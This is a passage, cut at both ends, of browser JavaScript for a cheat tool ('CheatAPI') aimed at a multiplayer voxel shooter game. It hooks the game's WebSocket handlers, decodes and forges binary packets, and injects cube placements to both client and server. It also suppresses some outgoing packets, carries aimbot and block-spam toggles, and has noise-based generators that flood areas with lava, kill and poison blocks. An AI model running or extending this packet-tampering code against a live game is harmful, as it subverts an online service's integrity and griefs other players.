            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 14){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 15){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 16){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 17){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 18){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 19){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 20){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }



                         if(window.cubebot && index == 1){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                         if(window.cubebot && index == 2){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                        if(window.cubebot && index == 3){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                         if(window.cubebot && index == 4){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                         if(window.cubebot && index == 5){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                         if(window.cubebot && index == 6){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                         if(window.cubebot && index == 7){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                         if(window.cubebot && index == 8){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                         if(window.cubebot && index == 9){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                         if(window.cubebot && index == 10){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                         if(window.cubebot && index == 11){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                         if(window.cubebot && index == 12){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                        if(window.cubebot && index == 13){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                        if(window.cubebot && index == 14){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                        if(window.cubebot && index == 15){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                        if(window.cubebot && index == 16){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                        if(window.cubebot && index == 17){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                        if(window.cubebot && index == 18){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                        if(window.cubebot && index == 19){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                        if(window.cubebot && index == 20){//5
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+1,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")}
                        player.POS = {
                           X: floats[0],
                            Y: floats[1],
                            Z: floats[2]
                        }
                    }
                })

            }
            this._onmessage(message)
        }
        this.socket = this
        _this = this
    }
    let Data = new Uint8Array(data)
    let DecodedData = CheatAPI.FUNCTIONS.DECODE_TEXT([...Data])
    if (window.socks) {
        console.log(Data + "\n" + DecodedData)
    }
    if (CheatAPI.CLIENT_BLOCKS.indexOf(Data[2]) != -1) {
        return;
    }
    if (Data[2] == 2) {
        let floats = CheatAPI.FUNCTIONS.GET_FLOATS([...Data])
        let pos = {
            X: floats[0],
            Y: floats[1],
            Z: floats[2]
        }
        CheatAPI.PLAYER.POS = pos
        if(window["X: 0"] && window["Y: 0"] && window["Z: 0"]){
            window["X: 0"].textContent = `??X: ${pos.X}`
            window["Y: 0"].textContent = `??Y: ${pos.Y}`
            window["Z: 0"].textContent = `??Z: ${pos.Z}`
        }


        if(window.surf){
            window.lastPos = {
                X: pos.X,
                Y: pos.Y,
                Z: pos.Z
            }
            if(window.lastSurf){
                let lastSurf = window.lastSurf
                let checkDistance = setInterval(()=>{
                    let distanceX = window.lastPos.X - pos.X
                    let distanceY = window.lastPos.Y - pos.Y
                    let distanceZ = window.lastPos.Z - pos.Z
                    let distance = Math.sqrt(distanceX * distanceX + distanceY * distanceY + distanceZ * distanceZ)
                    if(distance > 10){
                        clearInterval(checkDistance)
                        lastSurf.forEach((position)=>{
                            if(surfno == true){ CheatAPI.CHEATS.REMOVE_CUBE2(position.x, position.y, position.z, "BOTH")}
                        })
                    }
                }, 1000)
            }
            window.lastSurf = []
            for(var x = pos.X-5; x <= pos.X+5; x++){
                for(var z = pos.Z-5; z <= pos.Z+5; z++){
                    CheatAPI.CHEATS.PLACE_CUBE(x+1, window.shift ? pos.Y-1 : pos.Y, z+1, window.material? window.material : CheatAPI.MATERIAL_IDS.Khaki, "BOTH")
                    window.lastSurf.push({
                        x: x+1,
                        y: window.shift ? pos.Y-1 : pos.Y,
                        z: z+1
                    })
                }
            }
        }
    }

    if (Data[2] == 7) {
        CheatAPI.CUBE_ID = CheatAPI.FUNCTIONS.TO_NUM_32(Data.slice(7, 10+1))
        if(window.twinbuildings){
            let position = {
                X: CheatAPI.FUNCTIONS.TO_NUM_16([Data[18], Data[19]]),
                Y: CheatAPI.FUNCTIONS.TO_NUM_16([Data[20], Data[21]]),
                Z: CheatAPI.FUNCTIONS.TO_NUM_16([Data[22], Data[23]])
            }
            CheatAPI.CHEATS.PLACE_CUBE(position.X+10, position.Y, position.Z, window.material ? window.material : CheatAPI.MATERIAL_IDS.Khaki, "BOTH")
        }
    }
    if (Data[2] == 26 && window.aimbot && window.cubebot && window.cubebot1 && aimbotest){
        return
    }
    this._send(...arguments)
}

window.CheatAPI = top.CheatAPI = {
    FUNCTIONS: {
        SLEEP: function(MS) {
            return new Promise(resolve => setTimeout(resolve, MS));
        },
        GET_JSON: function(TXT) {
            let POS = 0,
                left = 0,
                i = 0,
                arr = [];
            while (i++ < TXT.length) {
                if (TXT[i] == '{' && TXT[i + 1] == '"') {
                    if (!left) POS = i;
                    left++;
                }
                if (TXT[i] == '}') {
                    if (left > 0) {
                        left--;
                        if (!left) arr.push(TXT.slice(POS, i + 1));
                    }
                }
            }
            return arr.map(a => JSON.parse(a));
        },
        ENCODE_TEXT: function(TEXT) {
            let encoded = []
            TEXT.split("").forEach((char) => {
                encoded.push(char.charCodeAt(0))
            })
            return encoded
        },
        DECODE_TEXT: function(TEXT) {
            return String.fromCharCode(...TEXT)
        },
        TO_FLOAT_32: function(NUM) {
            return new Uint8Array(new Float32Array([NUM]).buffer).reverse()
        },
        TO_BYTE_32: function(NUM) {
            return new Uint8Array(new Uint32Array([NUM]).buffer).reverse()
        },
        TO_BYTE_16: function(NUM) {
            return new Uint8Array(new Uint16Array([NUM]).buffer).reverse()
        },
        UNSIGN_16: function(NUM) {
            return new Uint16Array([NUM])[0]
        },
        TO_NUM_32: function(ARR) {
            return ((ARR[0] << 8 | ARR[1]) << 8 | ARR[2]) << 8 | ARR[3]
        },
        TO_NUM_16: function(ARR) {
            return new Int16Array(new Uint8Array(ARR).reverse().buffer)[0]
        },
        GET_INTS: function(ARR) {
            let ints = []
            for (var i = 0; i < ARR.length; i++) {
                if (ARR[i - 4] == 105) {
                    let bytes = [ARR[i - 3], ARR[i - 2], ARR[i - 1], ARR[i]]
                    let int = CheatAPI.FUNCTIONS.TO_NUM_32(bytes)
                    if(int < 999999999){
                        ints.push(int)
                    }
                }
            }
            return ints
        },
        GET_FLOATS: function(BYTES) {
            let index = 0;
            let floats = [];
            while ((index = BYTES.indexOf(102)) != -1) {
                let data = BYTES.splice(index, 5);
                data.splice(0, 1);
                floats.push(new Float32Array(new Uint8Array(data.reverse()).buffer)[0])
            }
            return floats;
        }
    },
    SEND_SOCKET: function(...SOCKET) {
        if (SOCKET[1] == 2 || SOCKET[1] == 6) {
            _this._send(new Uint8Array([...SOCKET]))
        } else if (SOCKET[1] == 4 || SOCKET[1] == 7 || SOCKET[1] == 3) {
            _this._onmessage({
                data: new Uint8Array([...SOCKET]).buffer
            })
        }
    },
    SERVER_BLOCKS: [],
    CLIENT_BLOCKS: [],
    ITEM_IDS: {
        CenterGun: 1,
        ImpulseGun: 2,
       // Health: 3,
        //Mutant: 7,
        Bazooka: 4,
        Hand: 5,
        RailGun: 6,
        Sword: 8,
        Shotgun: 9,
        Flamethrower: 10,
        CubeGun: 11,
       // NinjaRun: 14,
        GrowthGun: 62,
        //GrowthPack: 64,
       // CollectTheItemCollectable: 61,
        MouseGun: 60,
        Shuriken: 45,
        MultipleShurikens: 46,
        Revolver: 12,
        DoubleRevolvers: 13,
        HealRay: 70,
        SlapGun: 65
    },
      TESTE2: function(Size){
        var m_permutation = [151, 160, 137, 91, 90, 15,
                             131, 13, 201, 95, 96, 53, 194, 233, 7, 225, 140, 36, 103, 30, 69, 142, 8, 99, 37, 240, 21, 10, 23,
                             190, 6, 148, 247, 120, 234, 75, 0, 26, 197, 62, 94, 252, 219, 203, 117, 35, 11, 32, 57, 177, 33,
                             88, 237, 149, 56, 87, 174, 20, 125, 136, 171, 168, 68, 175, 74, 165, 71, 134, 139, 48, 27, 166,
                             77, 146, 158, 231, 83, 111, 229, 122, 60, 211, 133, 230, 220, 105, 92, 41, 55, 46, 245, 40, 244,
                             102, 143, 54, 65, 25, 63, 161, 1, 216, 80, 73, 209, 76, 132, 187, 208, 89, 18, 169, 200, 196,
                             135, 130, 116, 188, 159, 86, 164, 100, 109, 198, 173, 186, 3, 64, 52, 217, 226, 250, 124, 123,
                             5, 202, 38, 147, 118, 126, 255, 82, 85, 212, 207, 206, 59, 227, 47, 16, 58, 17, 182, 189, 28, 42,
                             223, 183, 170, 213, 119, 248, 152, 2, 44, 154, 163, 70, 221, 153, 101, 155, 167, 43, 172, 9,
                             129, 22, 39, 253, 19, 98, 108, 110, 79, 113, 224, 232, 178, 185, 112, 104, 218, 246, 97, 228,
                             251, 34, 242, 193, 238, 210, 144, 12, 191, 179, 162, 241, 81, 51, 145, 235, 249, 14, 239, 107,
                             49, 192, 214, 31, 181, 199, 106, 157, 184, 84, 204, 176, 115, 121, 50, 45, 127, 4, 150, 254,
                             138, 236, 205, 93, 222, 114, 67, 29, 24, 72, 243, 141, 128, 195, 78, 66, 215, 61, 156, 180];


        function RemapClamp_01(x) {
            if (x <= -1.0) {
                return 0.0;
            }
            else if (1.0 <= x) {
                return 1.0;
            }
            return (x * 0.5 + 0.5);
        }

        function Remap_01(x) {
            return (x * 0.5 + 0.5);
        }
        function Fade(t) {
            return t * t * t * (t * (t * 6 - 15) + 10);
        }

        function Lerp(a, b, t) {
            return (a + (b - a) * t);
        }

        function Grad(hash, x, y, z) {
            let h = hash & 15;

            let u = h < 8 ? x : y,
                v = h < 4 ? y : h == 12 || h == 14 ? x : z;

            return ((h & 1) == 0 ? u : -u) + ((h & 2) == 0 ? v : -v);
        }

        function Octave3D(x, y, z, octaves, persistence) {
            let result = 0;
            let amplitude = 1;

            for (let i = 0; i < octaves; i++) {
                result += (noise3d(x, y, z) * amplitude);
                x *= 2;
                y *= 2;
                z *= 2;
                amplitude *= persistence;
            }
            return result;
        }

        function noise3d(x, y, z) {
            let _x = Math.floor(x);
            let _y = Math.floor(y);
            let _z = Math.floor(z);

            let ix = _x & 255;
            let iy = _y & 255;
            let iz = _z & 255;

            let fx = (x - _x);
            let fy = (y - _y);
            let fz = (z - _z);

            let u = Fade(fx);
            let v = Fade(fy);
            let w = Fade(fz);

            let A = (m_permutation[ix & 255] + iy) & 255;
            let B = (m_permutation[(ix + 1) & 255] + iy) & 255;

            let AA = (m_permutation[A] + iz) & 255;
            let AB = (m_permutation[(A + 1) & 255] + iz) & 255;

            let BA = (m_permutation[B] + iz) & 255;
            let BB = (m_permutation[(B + 1) & 255] + iz) & 255;

            let p0 = Grad(m_permutation[AA], fx, fy, fz);
            let p1 = Grad(m_permutation[BA], fx - 1, fy, fz);
            let p2 = Grad(m_permutation[AB], fx, fy - 1, fz);
            let p3 = Grad(m_permutation[BB], fx - 1, fy - 1, fz);
            let p4 = Grad(m_permutation[(AA + 1) & 255], fx, fy, fz - 1);
            let p5 = Grad(m_permutation[(BA + 1) & 255], fx - 1, fy, fz - 1);
            let p6 = Grad(m_permutation[(AB + 1) & 255], fx, fy - 1, fz - 1);
            let p7 = Grad(m_permutation[(BB + 1) & 255], fx - 1, fy - 1, fz - 1);

            let q0 = Lerp(p0, p1, u);
            let q1 = Lerp(p2, p3, u);
            let q2 = Lerp(p4, p5, u);
            let q3 = Lerp(p6, p7, u);

            let r0 = Lerp(q0, q1, v);
            let r1 = Lerp(q2, q3, v);

            return Lerp(r0, r1, w);
        }

        function noise3D_01(x, y, z) {
            return Remap_01(noise3d(x, y, z));
        }

        function octave3D(x, y, z, octaves, persistence) {
            return Octave3D(x, y, z, octaves, persistence);
        }

        function octave3D_01(x, y, z, octaves, persistence) {
            return RemapClamp_01(octave3D(x, y, z, octaves, persistence));
        }

        function MaxAmplitude(octaves, persistence) {
            let result = 0;
            let amplitude = 1;

            for (let i = 0; i < octaves; i++) {
                result += amplitude;
                amplitude *= persistence;
            }
            return result;
        }

        function normalizedOctave3D(x, y, z, octaves, persistence) {
            return (octave3D(x, y, z, octaves, persistence) / MaxAmplitude(octaves, persistence));
        }
        function normalizedOctave3D_01(x, y, z, octaves, persistence) {
            return Remap_01(normalizedOctave3D(x, y, z, octaves, persistence));
        }

        function BiomColor(val)
        {
            if (val < 0.32)
            {
                return CheatAPI.MATERIAL_IDS.Lava;
            }
            else if (val < 0.40)
            {
                return CheatAPI.MATERIAL_IDS.Kill;
            }
            else if (val < 0.45)
            {
                return CheatAPI.MATERIAL_IDS.Poison;
            }
            else if (val < 0.47)
            {
                return CheatAPI.MATERIAL_IDS.Lava;
            }
            else if (val < 0.49)
            {
                return CheatAPI.MATERIAL_IDS.Kill;
            }
            else if (val < 0.55)
            {
                return CheatAPI.MATERIAL_IDS.Poison;
            }
            else if (val < 0.62)
            {
                return CheatAPI.MATERIAL_IDS.Lava;
            }
            else if (val < 0.66)
            {
                return CheatAPI.MATERIAL_IDS.Kill;
            }
            else if (val < 0.68)
            {
                return CheatAPI.MATERIAL_IDS.Poison;
            }
            else if (val < 0.74)
            {
                return CheatAPI.MATERIAL_IDS.Kill;
            }
            else if (val < 0.80)
            {
                return CheatAPI.MATERIAL_IDS.Lava;
            }
            else if (val < 0.86)
            {
                return CheatAPI.MATERIAL_IDS.Poison;
            }
            else
            {
                return CheatAPI.MATERIAL_IDS.Lava;
            }
        }

        var maximo = 256;

        var i, arr = [];
        for (i = 0; i < maximo; i++) {
            arr[i] = i + 1;
        }

        var p, n, tmp;
        for (p = arr.length; p;) {
            n = Math.random() * p-- | 0;
            tmp = arr[n];
            arr[n] = arr[p];
            arr[p] = tmp;
        }
        m_permutation = arr;
        //let z_ = 0;
        let posx = CheatAPI.PLAYER.POS.X
        let posy = -15
        let posz = CheatAPI.PLAYER.POS.Z
        async function createMap(){
            for (let x = 0; x < Size; x++)
            {
                    for(let z = 0; z < Size; z++){
                        let width = Size;
                        let h = normalizedOctave3D_01((x * 0.01), (z * 0.01), (1 * 0.01), 8, 0.55);
                        CheatAPI.CHEATS.PLACE_CUBE(x+posx, posy+h*60, z+posz, BiomColor(h), "BOTH")
                        if(((z + x*width)%3000) == 0){
                            await CheatAPI.FUNCTIONS.SLEEP(700)
                        }
                    }
            }
        }
        setTimeout(createMap, 0)
    },
         MAP_GENERATE: function(Size){
        var m_permutation = [151, 160, 137, 91, 90, 15,
                             131, 13, 201, 95, 96, 53, 194, 233, 7, 225, 140, 36, 103, 30, 69, 142, 8, 99, 37, 240, 21, 10, 23,
                             190, 6, 148, 247, 120, 234, 75, 0, 26, 197, 62, 94, 252, 219, 203, 117, 35, 11, 32, 57, 177, 33,
                             88, 237, 149, 56, 87, 174, 20, 125, 136, 171, 168, 68, 175, 74, 165, 71, 134, 139, 48, 27, 166,
                             77, 146, 158, 231, 83, 111, 229, 122, 60, 211, 133, 230, 220, 105, 92, 41, 55, 46, 245, 40, 244,
                             102, 143, 54, 65, 25, 63, 161, 1, 216, 80, 73, 209, 76, 132, 187, 208, 89, 18, 169, 200, 196,
                             135, 130, 116, 188, 159, 86, 164, 100, 109, 198, 173, 186, 3, 64, 52, 217, 226, 250, 124, 123,
                             5, 202, 38, 147, 118, 126, 255, 82, 85, 212, 207, 206, 59, 227, 47, 16, 58, 17, 182, 189, 28, 42,
                             223, 183, 170, 213, 119, 248, 152, 2, 44, 154, 163, 70, 221, 153, 101, 155, 167, 43, 172, 9,
                             129, 22, 39, 253, 19, 98, 108, 110, 79, 113, 224, 232, 178, 185, 112, 104, 218, 246, 97, 228,
                             251, 34, 242, 193, 238, 210, 144, 12, 191, 179, 162, 241, 81, 51, 145, 235, 249, 14, 239, 107,
                             49, 192, 214, 31, 181, 199, 106, 157, 184, 84, 204, 176, 115, 121, 50, 45, 127, 4, 150, 254,
                             138, 236, 205, 93, 222, 114, 67, 29, 24, 72, 243, 141, 128, 195, 78, 66, 215, 61, 156, 180];


        function RemapClamp_01(x) {
            if (x <= -1.0) {
                return 0.0;
            }
            else if (1.0 <= x) {
                return 1.0;
            }
            return (x * 0.5 + 0.5);
        }

        function Remap_01(x) {
            return (x * 0.5 + 0.5);
        }
        function Fade(t) {
            return t * t * t * (t * (t * 6 - 15) + 10);
        }

        function Lerp(a, b, t) {
            return (a + (b - a) * t);
        }

        function Grad(hash, x, y, z) {
            let h = hash & 15;

            let u = h < 8 ? x : y,
                v = h < 4 ? y : h == 12 || h == 14 ? x : z;

            return ((h & 1) == 0 ? u : -u) + ((h & 2) == 0 ? v : -v);
        }

        function Octave3D(x, y, z, octaves, persistence) {
            let result = 0;
            let amplitude = 1;

            for (let i = 0; i < octaves; i++) {
                result += (noise3d(x, y, z) * amplitude);
                x *= 2;
                y *= 2;
                z *= 2;
                amplitude *= persistence;
            }
            return result;
        }

        function noise3d(x, y, z) {
            let _x = Math.floor(x);
            let _y = Math.floor(y);
            let _z = Math.floor(z);

            let ix = _x & 255;
            let iy = _y & 255;
            let iz = _z & 255;

            let fx = (x - _x);
            let fy = (y - _y);
            let fz = (z - _z);

            let u = Fade(fx);
            let v = Fade(fy);
            let w = Fade(fz);

            let A = (m_permutation[ix & 255] + iy) & 255;
            let B = (m_permutation[(ix + 1) & 255] + iy) & 255;

            let AA = (m_permutation[A] + iz) & 255;
            let AB = (m_permutation[(A + 1) & 255] + iz) & 255;

            let BA = (m_permutation[B] + iz) & 255;
            let BB = (m_permutation[(B + 1) & 255] + iz) & 255;

            let p0 = Grad(m_permutation[AA], fx, fy, fz);
            let p1 = Grad(m_permutation[BA], fx - 1, fy, fz);
            let p2 = Grad(m_permutation[AB], fx, fy - 1, fz);
            let p3 = Grad(m_permutation[BB], fx - 1, fy - 1, fz);
            let p4 = Grad(m_permutation[(AA + 1) & 255], fx, fy, fz - 1);
            let p5 = Grad(m_permutation[(BA + 1) & 255], fx - 1, fy, fz - 1);
            let p6 = Grad(m_permutation[(AB + 1) & 255], fx, fy - 1, fz - 1);
            let p7 = Grad(m_permutation[(BB + 1) & 255], fx - 1, fy - 1, fz - 1);

            let q0 = Lerp(p0, p1, u);
            let q1 = Lerp(p2, p3, u);
            let q2 = Lerp(p4, p5, u);
            let q3 = Lerp(p6, p7, u);

            let r0 = Lerp(q0, q1, v);
            let r1 = Lerp(q2, q3, v);

            return Lerp(r0, r1, w);
        }

        function noise3D_01(x, y, z) {
            return Remap_01(noise3d(x, y, z));
        }

        function octave3D(x, y, z, octaves, persistence) {
            return Octave3D(x, y, z, octaves, persistence);
        }

        function octave3D_01(x, y, z, octaves, persistence) {
            return RemapClamp_01(octave3D(x, y, z, octaves, persistence));
        }

        function MaxAmplitude(octaves, persistence) {
            let result = 0;
            let amplitude = 1;

            for (let i = 0; i < octaves; i++) {
                result += amplitude;
                amplitude *= persistence;
            }
            return result;
        }

        function normalizedOctave3D(x, y, z, octaves, persistence) {
            return (octave3D(x, y, z, octaves, persistence) / MaxAmplitude(octaves, persistence));
        }
        function normalizedOctave3D_01(x, y, z, octaves, persistence) {
            return Remap_01(normalizedOctave3D(x, y, z, octaves, persistence));
        }

        function BiomColor(val)
        {
            if (val < 0.32)
            {
                return CheatAPI.MATERIAL_IDS.DarkBlue;
            }
            else if (val < 0.40)
            {
                return CheatAPI.MATERIAL_IDS.Blue;
            }
            else if (val < 0.45)
            {
                return CheatAPI.MATERIAL_IDS.Orange;
            }
            else if (val < 0.47)
            {
                return CheatAPI.MATERIAL_IDS.BrightOrange;
            }
            else if (val < 0.49)
            {
                return CheatAPI.MATERIAL_IDS.Khaki;
            }
            else if (val < 0.55)
            {
                return CheatAPI.MATERIAL_IDS.Green;
            }
            else if (val < 0.62)
            {
                return CheatAPI.MATERIAL_IDS.DarkGreen;
            }
            else if (val < 0.66)
            {
                return CheatAPI.MATERIAL_IDS.DarkGreen;
            }
            else if (val < 0.68)
            {
                return CheatAPI.MATERIAL_IDS.Concrete;
            }
            else if (val < 0.74)
            {
                return CheatAPI.MATERIAL_IDS.Concrete;
            }
            else if (val < 0.80)
            {
                return CheatAPI.MATERIAL_IDS.Concrete;
            }
            else if (val < 0.86)
            {
                return CheatAPI.MATERIAL_IDS.LightConcrete;
            }
            else
            {
                return CheatAPI.MATERIAL_IDS.LightConcrete;
            }
        }

        var maximo = 256;

        var i, arr = [];
        for (i = 0; i < maximo; i++) {
            arr[i] = i + 1;
        }

        var p, n, tmp;
        for (p = arr.length; p;) {
            n = Math.random() * p-- | 0;
            tmp = arr[n];
            arr[n] = arr[p];
            arr[p] = tmp;
        }
        m_permutation = arr;
        //let z_ = 0;
        let posx = CheatAPI.PLAYER.POS.X
        let posy = -15
        let posz = CheatAPI.PLAYER.POS.Z
        async function createMap(){
            for (let x = 0; x < Size; x++)
            {
                    for(let z = 0; z < Size; z++){
                        let width = Size;
                        let h = normalizedOctave3D_01((x * 0.01), (z * 0.01), (1 * 0.01), 8, 0.55);
                        CheatAPI.CHEATS.CLONE_OBJECT(75579,x+posx, posy+h*60, z+posz,"BOTH")
                        if(((z + x*width)%3000) == 0){
                            await CheatAPI.FUNCTIONS.SLEEP(700)
                        }
                    }
            }
        }
        setTimeout(createMap, 0)
    },

    TESTE1: function(Size){
        var m_permutation = [151, 160, 137, 91, 90, 15,
                             131, 13, 201, 95, 96, 53, 194, 233, 7, 225, 140, 36, 103, 30, 69, 142, 8, 99, 37, 240, 21, 10, 23,
                             190, 6, 148, 247, 120, 234, 75, 0, 26, 197, 62, 94, 252, 219, 203, 117, 35, 11, 32, 57, 177, 33,
